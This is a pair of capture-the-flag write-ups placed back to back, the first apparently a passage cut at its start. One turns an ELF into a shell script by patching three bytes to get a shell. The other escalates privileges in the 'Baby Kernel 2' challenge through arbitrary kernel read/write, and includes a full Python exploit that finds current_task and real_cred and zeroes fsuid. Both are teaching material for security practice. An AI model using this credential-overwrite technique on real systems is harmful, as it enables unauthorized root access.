On modern systems, /bin/sh is often a symbolic link to /bin/bash, so if we want to study sh source code, it's probably best to check out bash repository.

When typing any command in bash, it will call the function shell_execve.

This function will call the execve system call. We can dig into the kernel source code to get a more precise understanding of how it works internally. In fact, it will call the do_execve function which at some point will call __do_execve_file which will eventually browse all the possible executable formats until one succeeds, thanks to search_binary_handler.

We can list the available file formats by looking for references to the register_binfmt function.

The load_binary function of every format will be called and return a positive value on success. For binaries that follow the ELF fileformat, we can see that one of the first checks that are done is checking the ELF header.

#define	ELFMAG		"\177ELF"
	/* ... */

	/* First of all, some simple consistency checks */
	if (memcmp(loc->elf_ex.e_ident, ELFMAG, SELFMAG) != 0)
		goto out;

There is also the script binary file format that is registered, which will handle any kind of shebang.

Getting back to bash, what happens if execve fails? - meaning the file it tried to execute does not correspond to any valid binary file format. Well, it will try to check for a shebang and execute it (in case you have a "losing operating system" as stated by bash source code). And if there is no shebang? Well, bash will check if it is a binary file (opposed to a text file), and if it is, raise an error. Otherwise, it will just attempt to execute the content of the file as a bash script!

Now what?

So now we know that, we are allowed to create a text file with the commands we want to execute. But, let's check the check_binary_file function.

/* Return non-zero if the characters from SAMPLE are not all valid
   characters to be found in the first line of a shell script.  We
   check up to the first newline, or SAMPLE_LEN, whichever comes first.
   All of the characters must be printable or whitespace. */

int
check_binary_file (sample, sample_len)
     const char *sample;
     int sample_len;
{
  register int i;
  unsigned char c;

  for (i = 0; i < sample_len; i++)
    {
      c = sample[i];
      if (c == '\n')
        return (0);
      if (c == '\0')
        return (1);
    }

  return (0);
}

It will assume a file is a binary file only if no \n file was encountered or if there is a null-byte present.

So with only 3 bytes to patch, we can write sh\n so the function will return that our file is a text file (because it detects a newline) and it will execute the first command.

Remember that with the previous Python error, we got the information that our input was read as a base 10 integer.

==================================================

You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 3
Which byte to mutate? 0
What to set the byte to? 115 				# 's'
Which byte to mutate? 1
What to set the byte to? 104 				# 'h'
Which byte to mutate? 2
What to set the byte to? 10 				# '\n'
Alright - let's see what the elf has to say.
==================================================


id
uid=8888(ctf) gid=8888(ctf) groups=8888(ctf)
ls
chal.py
elf
flag.txt
cat flag.txt
AOTW{turn1NG_an_3lf_int0_a_M0nst3r?}

Nice isn't it?

Extra

Since we are provided a shell, it is possible to check out the challenge source code:

import tempfile
import os
import zlib
import resource

content = open('elf').read()

print 'We just rescued an elf that was captured by The Grinch'
print 'for his cruel genetic experiments.'
print
print 'But we were late, the poor elf was already mutated.'
print 'Could you help us restore the elf\'s genes?'
print
print 'Here is the elf\'s current DNA, zlib compressed and'
print 'then hex encoded:'
print '=================================================='
print zlib.compress(content, 9).encode('hex')
print '=================================================='
print
print 'You may mutate up to 4 bytes of the elf.'

count = int(raw_input("How many bytes to mutate (0 - 4)? "))
if count < 0 or count > 4:
    print "Invalid number"
    quit()
for i in range(count):
    pos = int(raw_input('Which byte to mutate? '))
    val = int(raw_input('What to set the byte to? '))
    assert 0 <= pos < len(content)
    assert 0 <= val < 256
    content = content[:pos] + chr(val) + content[pos+1:]

print 'Alright - let\'s see what the elf has to say.'
print '=================================================='

try:
    mutated_elf, elf_name = tempfile.mkstemp('mutated_elf')
    os.write(mutated_elf, content)
    os.close(mutated_elf)
    os.chmod(elf_name, int('700', 8))
    resource.setrlimit(resource.RLIMIT_CPU, (1, 1))
    os.system(elf_name)
finally:
    os.remove(elf_name)

I did this writeup as all the ones I've read do not explain how they managed to reliably find the offset of real_cred in the current_task structure.

I didn't have much time to allocate for that challenge, and as I'm interested in exploitation, I quickly jumped on "Baby Kernel 2" as it was marked as easy and dealing with kernels.

Overview

The challenge provides a ZIP archive that contains multiple files:

• vmlinux - A linux kernel
• System.map - The symbols location for that kernel
• initramfs.cpio.gz - The initial root filesystem
• bzImage - Contains the bootloader and the stripped and compressed kernel
• run.sh - A script to run the kernel with qemu

Note: In the archive I provide, I removed vmlinux as it is quite heavy and unecessary because System.map is given as well.

It is possible to extract the kernel from bzImage by using the extract-vmlinux script from the linux kernel source code. Otherwise, binwalk will manage to extract it as well:

# Extract with extract-vmlinux
./extract-vmlinux ./bzImage > vmlinux
# Extract with binwalk
binwalk -e ./bzImage

Let's run it to see what it looks like:

./run.sh

...

----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
>

Right after the linux VM booted, there's not shell to greet us, but only a small program that asks us do to an action.

Understanding everything

Since I was not doing the CTF to win, but rather just for fun, I decided to take the time to understand everything.

First of all, I decided to extract the default file system to see what was available on the system. To do so I used the following commands:

$ mkdir root
$ cd root
$ cp ../initramfs.cpio.gz ./
$ gunzip ./initramfs.cpio.gz
$ cpio -id < ./initramfs.cpio
7393 blocks
$ ls
bin  client_kernel_baby_2  etc  flag  home  init  initramfs.cpio  lib  proc  root  sys  usr  var
$

Now to understand what was this program that was ran during startup, I read the init file. There are many lines, but more importantly:

chmod 700 /flag
mkdir -p /lib/modules/$(uname -r)
insmod "/lib/modules/$(uname -r)/kernel_baby_2.ko"
chmod +rw /dev/flux_baby_2
chmod +x /client_kernel_baby_2
sleep 2
su user -c /client_kernel_baby_2

1. During init the file /flag is set to read, write and execute permissions for user root only.
2. A kernel module is loaded
3. The file /client_kernel_baby_2 is set as executable, and is started with the user named user.

The client

Quickly, I decided to check what the client file does. In fact, I was intrigued as the challenge was supposed to be an easy kernel exploitation, but here only a userland application was available.

The binary is not stripped, and we can quickly understand what is happening. Using radare2, I quickly disassembled the program to understand what it does. As we've seen above, there are 6 actions available and 3 to 6 do what they mean to do.

• The command 3 will call system("id");
• The command 4 will read try to open /flag and read its content.
• The command 5 will print a hint.
• The command 6 will exit the program, that will cause the system to halt.

So nothing suprising from here, but what do 1 and 2 do exactly? There are two unstripped functions in the binary that are named do_read and do_write. And what do they do? They trigger an ioctl (request 901 for the read function, request 902 for the write function) with the given parameters that are read from the user input.

Alright, so I think it's time to disassemble the kernel module.

The kernel module

The kernel module is rather small, and not stripped. We can spot the function driver_ioctl and inspect it. It will compare the first argument with 901 and 902 and if it matches any it will either call the function read or _copy_from_user respectively with the arguments from the user.

The function read will use copy_to_user to read data from the kernel to userland, and copy_from_user is used to copy data from userland (our input program) into the kernel.

So now it's becoming clearer that we can interact with kernel land through the provided program.

Exploitation

So, the goal of the challenge is to read the /flag file, but as we've seen earlier, it is readable for user root only. How can we do that? Well I think there are multiple ways of doing it, but here is the way I chose. Since it's not necessary to pop a shell or anything too complicated, the only goal of the challenge is to elevate the privileges of the current process to root.

Usually it is possible to do so by calling commit_creds(prepare_kernel_cred(0));. In our context all we can do is read and write some kernel space memory. So let's see what the commit_creds function do.

int commit_creds(struct cred *new)
{
	struct task_struct *task = current;
	const struct cred *old = task->real_cred;

	/* ... */

	rcu_assign_pointer(task->real_cred, new);
	rcu_assign_pointer(task->cred, new);

	/* ... */

	/* release the old obj and subj refs both */
	put_cred(old);
	put_cred(old);
	return 0;
}

The linux kernel provides a macro current also known as struct task_struct *current_task that is a pointer to the currently executed process.

Here the function commit_creds just updates the current->real_cred and current->cred pointers to the new credentials.

The task_struct structure is quite big, but has indeed the real_cred and cred members:

struct task_struct {
	/* ... */

	/* Process credentials: */
	/* Tracer's credentials at attach: */
	const struct cred __rcu		*ptracer_cred;
	/* Objective and real subjective task credentials (COW): */
	const struct cred __rcu		*real_cred;
	/* Effective (overridable) subjective task credentials (COW): */
	const struct cred __rcu		*cred;

	/* ... */
};

The cred structure looks as follows:

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	/* RCU deletion */
	union {
		int non_rcu;			/* Can we skip RCU deletion? */
		struct rcu_head	rcu;		/* RCU deletion hook */
	};
} __randomize_layout;

In the end, what we can do is just to overwrite most of the real_cred structure members to update the user id and group id to 0 (root) until we can manage to read the flag. In fact, it is only necessary to update the fsuid field as it is the one that will be checked when accessing a file on the filesystem.

Once we understood all of this, we have to find where those fields are located in the memory. Luckily, we were provided the System.map file that contains all the symbols we need. In the original archive, vmlinux was also provided and already contained all those symbols. The first action that is done in the commit_creds function is to dereference the current_task and access the real_cred member.

int commit_creds(struct cred *new)
{
	struct task_struct *task = current;
	const struct cred *old = task->real_cred;
	/* ... */
}

We can retrieve the offset for commit_creds with a single grep command:

$ grep commit_creds ./System.map
ffffffff81050c50 T commit_creds
ffffffff816d4c80 r __ksymtab_commit_creds
ffffffff816dc9b2 r __kstrtab_commit_creds

And now check the disassembly inside radare2:

$ r2 ./vmlinux
[0x01000000]> pd 10 @ 0xffffffff81050c50
            0xffffffff81050c50      55             push rbp
            0xffffffff81050c51      4889e5         mov rbp, rsp
            0xffffffff81050c54      4155           push r13
            0xffffffff81050c56      4c8b2c2540a0.  mov r13, qword [0xffffffff8183a040]
            0xffffffff81050c5e      4154           push r12
            0xffffffff81050c60      53             push rbx
            0xffffffff81050c61      4d8ba5f80300.  mov r12, qword [r13 + 0x3f8]
            0xffffffff81050c68      4d39a5000400.  cmp qword [r13 + 0x400], r12
        ╭─< 0xffffffff81050c6f      0f85f1000000   jne 0xffffffff81050d66
        │   0xffffffff81050c75      8b07           mov eax, dword [rdi]

As we can see the current_task pointer is dereferenced with the offset 0x3f8, so this corresponds to the real_cred pointer. It is possible to automate this process with the following python script:

import r2pipe

r2 = r2pipe.open('./vmlinux')
r2.cmd('s sym.commit_creds')
r2.cmd('aei; aeim')
for _ in range(50):
    # Step instruction per instruction
    r2.cmd('aes')
    op = r2.cmdj('aoj 1 @ PC')[0]
    # Check for memory dereference
    if len(op['opex']['operands']) == 2 and op['opex']['operands'][1]['type'] == 'mem':
        # Get reg that contains the struct pointer
        if op['opex']['operands'][1]['disp'] == current_task_addr:
            usedreg = op['opex']['operands'][0]['value']
            continue
        # If reg base is current_task, then get the offset
        if 'base' in op['opex']['operands'][1] and op['opex']['operands'][1]['base'] == usedreg:
            real_cred_offset = op['opex']['operands'][1]['disp']
            break
print(hex(real_cred_offset))
r2.quit()

And it will print this offset as well! That's the only reliable way I found to quickly compute the right offset for real_cred, as it may vary from kernel versions and compilation options.

Now using either the vmlinux file (which already contains symbols) or the System.map file, we can get the address of current_task.

The exploit will be as follow:

1. Get current_task pointer
2. Get current->real_cred pointer
3. Overwrite current->real_cred->fsuid to 0
4. Print the flag

As the initial challenge is done remotely, it's possible to make our local script act as a remote target. I use the following trick thanks to socat:

socat tcp-l:1337,reuseaddr,fork exec:"bash -c ./run.sh"

And we can create the following exploit:

#!/usr/bin/env python

import socket
import telnetlib
import r2pipe


class Socket():
    def __init__(self, host, port):
        self.s = socket.create_connection((host, port))

    def recv(self, d): return self.s.recv(d)

    def send(self, d): return self.s.send(d)

    def recv_until(self, d):
        data = b''
        if type(d) == type(''):
            d = d.encode()
        while not data.endswith(d):
            tmp = self.s.recv(1)
            if not tmp:
                break
            data += tmp
        return data

    def recv_all(self):
        data = b''
        while True:
            part = self.s.recv(4096)
            data += part
            if len(part) < 4096:
                break
        return data

    def interact(self):
        t = telnetlib.Telnet()
        t.sock = self.s
        t.interact()


def plog(m):
    print('[+] ' + m)


# Get symbols info from System.map
for l in open('./public/System.map', 'r'):
    if 'D current_task' in l:
        current_task_addr = int(l.split(' ')[0], 16)
current_task_addr = 0xffffffff8183a040
real_cred_offset = 0x3f8
plog('Found current_task: 0x{:x}'.format(current_task_addr))
plog('Found real_cred_offset: 0x{:x}'.format(real_cred_offset))


#############
# Exploit it!
print('-------------------')
plog('Connecting to remote VM...')
s = Socket('localhost', 1337)
s.recv_until(b'> ')
plog('VM Started!')

# 1. Get current_task_ptr
s.send(b'1\n')
s.recv_until(b'> ')
pl = hex(current_task_addr)[2:] + '\n'
s.send(pl.encode('utf-8'))
s.recv_until(b'power level is: ')
v = s.recv_until(b'\r\n')
current_task_ptr = int(v, 16)
plog('Found current_task pointer: 0x{:x}'.format(current_task_ptr))

# 2. Get real_cred_ptr
s.send(b'1\n')
s.recv_until(b'>')
pl = hex(current_task_ptr + real_cred_offset)[2:] + '\n'
s.send(pl.encode('utf-8'))
s.recv_until(b'power level is: ')
v = s.recv_until(b'\r\n')
real_cred_ptr = int(v, 16)
plog('Found real_cred pointer: 0x{:x}'.format(real_cred_ptr))

# 3. Overwrite everything with 0
s.recv_until(b'> ')
s.send(b'2\n')
s.recv_until(b'>')
addr = real_cred_ptr + 4 + 8*3 # 4 for usage, 8 for uid/gid, 8 for suig/sgid, 8 for euid,guid
s.send('{:x}\n'.format(addr).encode('utf-8'))
s.recv_until(b'>')
s.send(b'0\n')

# 4. Get userid
s.recv_until(b'> ')
s.send(b'3\n')
s.recv_until(b'\r\n')
userid = s.recv_until(b'\r\n')
plog('USER: {}'.format(userid.strip().decode()))

# 5. Go interactive
print(s.recv_all().decode())
s.interact()

Let's run it:

$ python solve.py
[+] Extracting symbols information from the binary...
[+] Found current_task: 0xffffffff8183a040
[+] Found commit_creds: 0xffffffff81050c50
[+] Found real_cred_offset: 0x3f8
-------------------
[+] Connecting to remote VM...
[+] VM Started!
[+] Found current_task pointer: 0xffff888003373480
[+] Found real_cred pointer: 0xffff888003382480
[+] USER: uid=1000(user) gid=1000(user) groups=1000(user)
----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 4
4
Which file are we trying to read?
> /flag
/flag
Here are your 0x10 bytes contents:
flag{fake_flag}

----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!
> 6
6
flux_baby_2 closed
Bye!
ACPI: Preparing to enter system sleep state S5
reboot: Power down
*** Connection closed by remote host ***

Et voilà! Fun fact: as we only overwrite fsuid, when the id command is triggered, our uid and gid are still set to user (1000). However since we only want to access the file system, it is enough to read the file /flag and retrieve it.

Conclusion

I'd like to thank the creator of the challenge, as it was a nice way to get back to kernel exploitation.